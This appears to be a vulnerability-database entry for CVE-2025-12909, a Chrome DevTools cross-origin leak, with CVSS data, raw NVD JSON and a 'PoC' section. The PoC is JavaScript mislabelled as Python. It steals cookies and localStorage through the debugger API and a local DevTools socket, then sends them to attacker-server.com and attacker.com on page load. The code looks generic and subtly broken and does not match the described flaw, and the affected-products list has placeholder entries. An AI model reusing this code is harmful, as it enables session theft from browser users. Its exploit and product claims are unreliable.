Security Vulnerability Report
中文
CVE-2025-12909 CVSS 5.3 MEDIUM

CVE-2025-12909

Published: 2025-11-08 00:15:36
Last Modified: 2025-11-21 21:19:26

Description

Insufficient policy enforcement in Devtools in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to leak cross-origin data via Devtools. (Chromium security severity: Low)

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
Google Chrome < 140.0.7339.80
Chromium-based browsers < 140.0.7339.80
Microsoft Edge (Chromium-based) < affected versions
Brave Browser < affected versions
Opera Browser < affected versions

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12909 PoC - Chrome DevTools Cross-Origin Data Leak // This PoC demonstrates the Insufficient policy enforcement in DevTools // Attackers can leak cross-origin data via DevTools const targetOrigin = 'https://target-site.example.com'; // Method 1: Using chrome.debugger API (requires debugger permission) async function exploitViaDebugger() { try { // Attach to the target tab await chrome.debugger.attach({ tabId: targetTabId }, '1.3'); // Enable Network domain to intercept requests await chrome.debugger.sendCommand({ tabId: targetTabId }, 'Network.enable'); // Request all cookies from the target origin const cookies = await chrome.debugger.sendCommand( { tabId: targetTabId }, 'Network.getAllCookies' ); console.log('Stolen cookies:', cookies.cookies); // Exfiltrate the data fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify(cookies.cookies) }); } catch (error) { console.error('Exploitation failed:', error); } } // Method 2: Using DevTools Protocol directly async function exploitViaProtocol() { const wsUrl = 'ws://localhost:9222/devtools/page/TARGET_TAB_ID'; const ws = new WebSocket(wsUrl); ws.onopen = async () => { // Send CDP command to get storage data const command = { id: 1, method: 'DOMStorage.getStorageItems', params: { storageId: { securityOrigin: targetOrigin } } }; ws.send(JSON.stringify(command)); }; ws.onmessage = (event) => { const data = JSON.parse(event.data); if (data.result && data.result.entries) { // Exfiltrate localStorage data fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify(data.result.entries) }); } }; } // Method 3: Social engineering approach - auto-open DevTools function socialEngineeringAttack() { // Automatically trigger DevTools opening const newWindow = window.open('', '_blank', 'devtools'); // Inject payload that uses DevTools functionality const script = ` // Access parent window's DevTools if (window.opener && window.opener.chrome) { const data = window.opener.localStorage.getItem('sensitive_data'); fetch('https://attacker.com/exfil', { method: 'POST', body: data }); } `; newWindow.document.write(script); } // Execute exploitation document.addEventListener('DOMContentLoaded', () => { // Trigger the attack when page loads exploitViaDebugger(); // or exploitViaProtocol(); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12909", "sourceIdentifier": "[email protected]", "published": "2025-11-08T00:15:35.717", "lastModified": "2025-11-21T21:19:25.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in Devtools in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to leak cross-origin data via Devtools. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.0.7339.80", "matchCriteriaId": "614C3A2A-11F8-45CE-BEF0-9033AD4AE057"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/361116749", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}